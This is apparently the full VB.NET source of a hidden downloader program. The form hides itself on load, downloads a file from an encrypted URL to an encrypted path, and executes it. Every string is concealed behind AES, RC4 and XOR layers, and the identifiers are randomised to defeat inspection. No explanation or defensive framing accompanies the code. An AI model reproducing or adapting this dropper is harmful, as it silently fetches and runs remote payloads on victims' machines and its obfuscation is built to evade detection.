Imports System.Text
   Imports System.Security.Cryptography
    IPublic Class Form1

        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0

            Dim Download As New Net.WebClient
            Me.Hide()
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0
            Download.DownloadFile(aWXbSVZklacYfuvdogjtwsX("9VWgs2tzcQj5Kag8iauSq+rJ6t58PgEFC3vdrHkIGPeoQdt11zKLa6azkNM68M4wtVic++Rnz7w/EUQeBCOHqA=="), Environ(aWXbSVZklacYfuvdogjtwsX("dMeFPgbE32HJbSzegRipEw==")) & aWXbSVZklacYfuvdogjtwsX("yhtWlJCf0Ew0DZ0JvpG2JSxPGNuU48cSMpPdk+zDe4A="))
            Shell(Environ(aWXbSVZklacYfuvdogjtwsX("dMeFPgbE32HJbSzegRipEw==")) & aWXbSVZklacYfuvdogjtwsX("yhtWlJCf0Ew0DZ0JvpG2JSxPGNuU48cSMpPdk+zDe4A="))


            End

        End Sub



   Private Function aWXbSVZklacYfuvdogjtwsX(ByVal lmnTqMirfqXAlDMlH As String)
   Dim aeTMwvWbSavLaNgRG As New RijndaelManaged
   Dim nRijZgfjljBYQhQaY() As Byte
   Dim qsdCICdbqccwrOVPo() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
   Dim oKeyGenerator As New Rfc2898DeriveBytes(sndkNowGQfWdrpoVCYDQXpM( Chr(20) & Chr(34) & Chr(45) & Chr(23) & Chr(38) & Chr(35) & Chr(47) & Chr(30) & Chr(25) & Chr(20) & Chr(22) & Chr(44) & Chr(19) & Chr(0) & Chr(3) & Chr(17) & Chr(26) & Chr(18) & Chr(31) & Chr(1) & Chr(2) & Chr(6) & Chr(45) , pGlDHTnndDbjfDKRRsVwAXT( Chr(235) & Chr(75) & Chr(200) & Chr(40) & Chr(106) & Chr(136) & Chr(216) & Chr(73) & Chr(21) & Chr(219) & Chr(210) & Chr(148) & Chr(54) & Chr(102) & Chr(180) & Chr(74) & Chr(171) & Chr(160) & Chr(159) & Chr(115) & Chr(160) & Chr(108) & Chr(234) )), qsdCICdbqccwrOVPo)
   aeTMwvWbSavLaNgRG.Key = oKeyGenerator.GetBytes(aeTMwvWbSavLaNgRG.Key.Length)
   aeTMwvWbSavLaNgRG.IV = oKeyGenerator.GetBytes(aeTMwvWbSavLaNgRG.IV.Length)
   Dim sXYSoWbUwVHWVsaEH As New IO.MemoryStream
   Dim vBSiXqZMEOiuwZeqY As New CryptoStream(sXYSoWbUwVHWVsaEH, aeTMwvWbSavLaNgRG.CreateDecryptor(), CryptoStreamMode.Write)
   Try
   nRijZgfjljBYQhQaY = Convert.FromBase64String(lmnTqMirfqXAlDMlH)
   vBSiXqZMEOiuwZeqY.Write(nRijZgfjljBYQhQaY, 0, nRijZgfjljBYQhQaY.Length)
   vBSiXqZMEOiuwZeqY.Close()
   Return System.Text.Encoding.UTF8.GetString(sXYSoWbUwVHWVsaEH.ToArray)
   Catch
   End Try
   End Function


  Private Function sndkNowGQfWdrpoVCYDQXpM(ByVal RecnndDpaMSDATKvV As String, ByVal UJWGWABhgFtabAPlm As String)
  Dim XkRXFUwZmvXBFeTaF As String =""
  Dim ZPMnlnuRrnBZgLYPV As Short
  Dim kXgtfFIhHGaOsCEjX As Integer
  kXgtfFIhHGaOsCEjX = Asc(UJWGWABhgFtabAPlm)
  For ZPMnlnuRrnBZgLYPV = 1 To Len(RecnndDpaMSDATKvV)
  XkRXFUwZmvXBFeTaF &= Chr(kXgtfFIhHGaOsCEjX Xor Asc(Mid(RecnndDpaMSDATKvV, ZPMnlnuRrnBZgLYPV, 1)))
  Next
  Return XkRXFUwZmvXBFeTaF
  End Function


 Public Function pGlDHTnndDbjfDKRRsVwAXT(ByVal PukGhIrZnhWIledrl As String) As String
 Dim RZfXQcpStaBgPLhhE As String = rQLTukeQTTMEocqDIllXMgB("cEdsREhUbm5kRGJqZkRLUlJzVndBWFQ=")
 Dim UDanvwnKBTcHqpmWU As Integer = 0
 Dim XfVGeSkCHMGfUWrLl As Integer = 0
 Dim hnpMYhwSUcfUgNXfm As New StringBuilder
 Dim kSjcHDuKZVJrKrbUF As String = String.Empty
 Dim mtesnXsCfOkSlYgJW As Integer() = New Integer(256) {}
 Dim pYZLWrprkHPqPFlvm As Integer() = New Integer(256) {}
 Dim rDUcFNnkqAqRqjpkF As Integer = RZfXQcpStaBgPLhhE.Length
 Dim FLoiwcCCGQSGFZVHH As Integer = 0
 While FLoiwcCCGQSGFZVHH <= 255
 Dim ImjBfvArLJtdgGatX As Char = (RZfXQcpStaBgPLhhE.Substring((FLoiwcCCGQSGFZVHH Mod rDUcFNnkqAqRqjpkF), 1).ToCharArray()(0))
 pYZLWrprkHPqPFlvm(FLoiwcCCGQSGFZVHH) = Microsoft.VisualBasic.Strings.Asc(ImjBfvArLJtdgGatX)
 mtesnXsCfOkSlYgJW(FLoiwcCCGQSGFZVHH) = FLoiwcCCGQSGFZVHH
 System.Math.Max(System.Threading.Interlocked.Increment(FLoiwcCCGQSGFZVHH), FLoiwcCCGQSGFZVHH - 1)
 End While
 Dim KReROSukRCXEKkfjn As Integer = 0
 Dim NtZhumscWsBclRjYG As Integer = 0
 While NtZhumscWsBclRjYG <= 255
 KReROSukRCXEKkfjn = (KReROSukRCXEKkfjn + mtesnXsCfOkSlYgJW(NtZhumscWsBclRjYG) + pYZLWrprkHPqPFlvm(NtZhumscWsBclRjYG)) Mod 256
 Dim PXTAdIqUcldDPvoNX As Integer = mtesnXsCfOkSlYgJW(NtZhumscWsBclRjYG)
 mtesnXsCfOkSlYgJW(NtZhumscWsBclRjYG) = mtesnXsCfOkSlYgJW(KReROSukRCXEKkfjn)
 mtesnXsCfOkSlYgJW(KReROSukRCXEKkfjn) = PXTAdIqUcldDPvoNX
 System.Math.Max(System.Threading.Interlocked.Increment(NtZhumscWsBclRjYG), NtZhumscWsBclRjYG - 1)
 End While
 FLoiwcCCGQSGFZVHH = 1
 While FLoiwcCCGQSGFZVHH <= PukGhIrZnhWIledrl.Length
 Dim afnGXXFkpEEpbmUhY As Integer = 0
 UDanvwnKBTcHqpmWU = (UDanvwnKBTcHqpmWU + 1) Mod 256
 XfVGeSkCHMGfUWrLl = (XfVGeSkCHMGfUWrLl + mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU)) Mod 256
 afnGXXFkpEEpbmUhY = mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU)
 mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU) = mtesnXsCfOkSlYgJW(XfVGeSkCHMGfUWrLl)
 mtesnXsCfOkSlYgJW(XfVGeSkCHMGfUWrLl) = afnGXXFkpEEpbmUhY
 Dim cKiXGqCcuugPFTZWo As Integer = mtesnXsCfOkSlYgJW((mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU) + mtesnXsCfOkSlYgJW(XfVGeSkCHMGfUWrLl)) Mod 256)
 Dim fldnmNAUDnKngAdLI As Char = PukGhIrZnhWIledrl.Substring(FLoiwcCCGQSGFZVHH - 1, 1).ToCharArray()(0)
 afnGXXFkpEEpbmUhY = Asc(fldnmNAUDnKngAdLI)
 Dim iQYGVhvMJglOKeiAY As Integer = afnGXXFkpEEpbmUhY Xor cKiXGqCcuugPFTZWo
 hnpMYhwSUcfUgNXfm.Append(Chr(iQYGVhvMJglOKeiAY))
 System.Math.Max(System.Threading.Interlocked.Increment(FLoiwcCCGQSGFZVHH), FLoiwcCCGQSGFZVHH - 1)
 End While
 kSjcHDuKZVJrKrbUF = hnpMYhwSUcfUgNXfm.ToString
 hnpMYhwSUcfUgNXfm.Length = 0
 Return kSjcHDuKZVJrKrbUF
 End Function

Public Function rQLTukeQTTMEocqDIllXMgB(ByVal JbhhMeVcWaKNMtlwq As String)
 Dim lUOKRsotilYaXDbSe As Byte() = Convert.FromBase64String(JbhhMeVcWaKNMtlwq)
Dim WNwGmPekoiNaCRWIL As String = System.Text.Encoding.UTF8.GetString(lUOKRsotilYaXDbSe)
Return WNwGmPekoiNaCRWIL
End Function
End Class